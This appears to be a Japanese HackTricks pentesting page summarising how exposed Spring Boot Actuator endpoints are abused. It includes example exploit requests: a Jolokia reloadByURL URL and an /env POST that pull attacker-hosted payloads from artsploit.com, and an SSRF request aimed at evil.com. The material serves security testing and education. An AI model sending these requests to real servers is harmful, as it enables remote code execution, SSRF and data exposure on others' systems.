Spring Actuators

HackTricksをサポートする

Spring Auth Bypass

出典 https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png****

Spring Boot Actuatorsの悪用

元の投稿を確認してください [https://www.veracode.com/blog/research/exploiting-spring-boot-actuators]

重要なポイント:

  • Spring Boot Actuatorsは、/health/trace/beans/envなどのエンドポイントを登録します。バージョン1から1.4では、これらのエンドポイントは認証なしでアクセス可能です。バージョン1.5以降は、デフォルトで非機密なのは/health/infoのみですが、開発者はこのセキュリティを無効にすることがよくあります。

  • 特定のActuatorエンドポイントは、機密データを露出させたり、有害なアクションを許可したりする可能性があります:

  • /dump/trace/logfile/shutdown/mappings/env/actuator/env/restart、および/heapdump

  • Spring Boot 1.xでは、アクチュエーターはルートURLの下に登録されますが、2.xでは/actuator/ベースパスの下にあります。

悪用技術:

  1. '/jolokia'を介したリモートコード実行:

  • /jolokiaアクチュエーターエンドポイントは、MBeansへのHTTPアクセスを可能にするJolokiaライブラリを公開します。

  • reloadByURLアクションは、外部URLからログ設定を再読み込みするために悪用される可能性があり、盲目的なXXEや作成されたXML設定を介したリモートコード実行につながる可能性があります。

  • 例の悪用URL: http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml

  1. '/env'を介した設定変更:

  • Spring Cloudライブラリが存在する場合、/envエンドポイントは環境プロパティの変更を許可します。

  • プロパティは、Eureka serviceURLにおけるXStreamデシリアライズ脆弱性などの脆弱性を悪用するために操作できます。

  • 例の悪用POSTリクエスト:

POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65

eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
  1. その他の有用な設定:

  • spring.datasource.tomcat.validationQueryspring.datasource.tomcat.url、およびspring.datasource.tomcat.max-activeのようなプロパティは、SQLインジェクションやデータベース接続文字列の変更など、さまざまな悪用のために操作できます。

追加情報:

  • デフォルトのアクチュエーターの包括的なリストはこちらで見つけることができます。

  • Spring Boot 2.xの/envエンドポイントは、プロパティ変更のためにJSON形式を使用しますが、一般的な概念は同じです。

関連トピック:

  1. Env + H2 RCE:

  • /envエンドポイントとH2データベースの組み合わせを悪用する詳細はこちらで見つけることができます。

  1. 不正なパス名解釈によるSpring Boot上のSSRF:

  • SpringフレームワークのHTTPパス名におけるマトリックスパラメータ(;)の処理は、サーバーサイドリクエストフォージェリ(SSRF)を悪用するために利用される可能性があります。

  • 例の悪用リクエスト:

GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
HackTricksをサポートする

Last updated